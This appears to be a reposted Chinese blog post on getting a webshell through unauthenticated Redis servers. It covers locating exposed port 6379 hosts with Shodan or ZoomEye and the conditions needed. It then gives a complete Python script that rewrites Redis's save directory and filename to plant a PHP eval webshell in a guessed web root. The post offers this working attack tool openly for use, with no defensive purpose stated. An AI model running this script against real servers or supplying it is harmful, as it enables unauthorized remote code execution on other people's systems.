zoukankan      html  css  js  c++  java
  • Redis Getshell总结

    Redis默认端口是6379,可以通过zoomeye或者shodan来查找开放6379的端口,能收到很多对外开放6379端口的ip,而且绝大部门是未授权访问的,因为默认redis是未授权访问。但是还有一先决条件是该ip开放web服务,也就是开放如常见的80端口等,满足这两个条件你就有可能getshell。但是还有最麻烦的一件事是,你必须要知道网站web路径。这边只能靠网站报错泄漏路径,phpinfo文件为删除,文件包含漏洞等,不然只能靠猜了,比如iis服务器的路径c:/inetpub/wwwroot等,linux服务器/var/www, /var/www/html等。

    • 可以用redis-cli客户端连上redis服务器
    • 然后可以用info验证是否有信息
    • 通过设置路径,设置webshell名字和内容getshell 

    总结一下,redis getshell条件

    • redis可以未授权访问,或者弱口令访问
    • redis服务器还开放了web服务
    • 知道web服务器的路径

    以下还有一个redis getshell的脚本

    #!/usr/bin/env python
     
    # coding=utf8
    # author=Cy3ber http://www.cy3ber.com
     
    import redis
    import sys
     
    def log(text):
        print '[*]------' + text
     
    def getshell(ip='127.0.0.1', pt=6379, webdir='/var/www/', socket_timeout=10):
        try:
            r = redis.StrictRedis(host=ip, port=pt)
            if r.config_set('dir', webdir) == True and r.config_set('dbfilename', 'safe.php') 
    == True:
                log('set shell on %safe.php sucsessed' % (webdir))
            else:
                log('set shell dir failed')
                sys.exit(1)
            if r.set('myshell', "<?php @eval($_POST['sec']);?>") == True:
            	log('set eval sucsessed')
            else:
                log('set eval failed')
                sys.exit(1)
            if r.save() == True:
            	log('save shell as %safe.php sucsessed password is "sec"'%(webdir))
            	log('getshell sucsessed please check')
            else:
                log('getshell failed')
        except:
            log('error')
     
    if __name__ == '__main__':
        if len(sys.argv) <> 4:
        	print "
    +-----------------------------+"
        	print "|  JbossGetshell              |"
        	print "|  Cy3ber - cy3ber.com        |"
        	print "|  Email:webmaster@cy3ber.com |"
        	print "+-----------------------------+
    "
            print 'Usage:python redisgetshell.py ip port webdir'
            print "explame:python redisgetshell.py 10.0.18.1 6379 /data/web/"
            sys.exit(1)
     
        else:
        	getshell(ip=sys.argv[1],pt=sys.argv[2],webdir=sys.argv[3])

  • 相关阅读:
    《架构真经》读后感2
    css的引入
    交流会发言
    css学习
    数据结构-哈希表、二叉排序数
    软工人学习日常
    Java包、类、方法、变量、常量命名规范
    数据库命名规范
    学生信息系统jsp界面
    学生信息系统servlet层
  • 原文地址:https://www.cnblogs.com/he1m4n6a/p/10069282.html
Copyright © 2011-2022 走看看